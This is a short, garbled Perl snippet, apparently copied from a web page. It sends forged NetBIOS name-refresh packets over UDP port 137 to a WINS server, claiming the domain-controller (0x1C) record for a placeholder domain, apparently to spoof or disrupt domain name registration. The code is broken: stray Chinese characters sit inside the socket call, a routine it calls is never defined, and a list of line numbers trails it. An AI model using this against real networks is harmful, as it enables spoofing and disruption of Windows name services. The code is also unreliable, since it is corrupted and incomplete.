复制use Socket;   $WINSAddress = "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name   $DomainName = "AAADUMMY"; #Must be all caps   $SequenceNumber = 0x8000;   socket(SOCKET,之制器 PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "Socket not created $!\n";   $destAddress = inet_aton($WINSAddress);   $destPort = sockaddr_in(137, $destAddress);   for ($i=1;$i<=25; $i++)   {SendRefresh ($DomainName, 0x1C, "x0ax6ax00" . chr ($i))}   sub Sequence   {   my ($high, $low, $str);   $high = $SequenceNumber >> 8;   $low = $SequenceNumber % 256;   $SequenceNumber += 2;   $str = chr($high) . chr ($low);   return $str;   }   1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.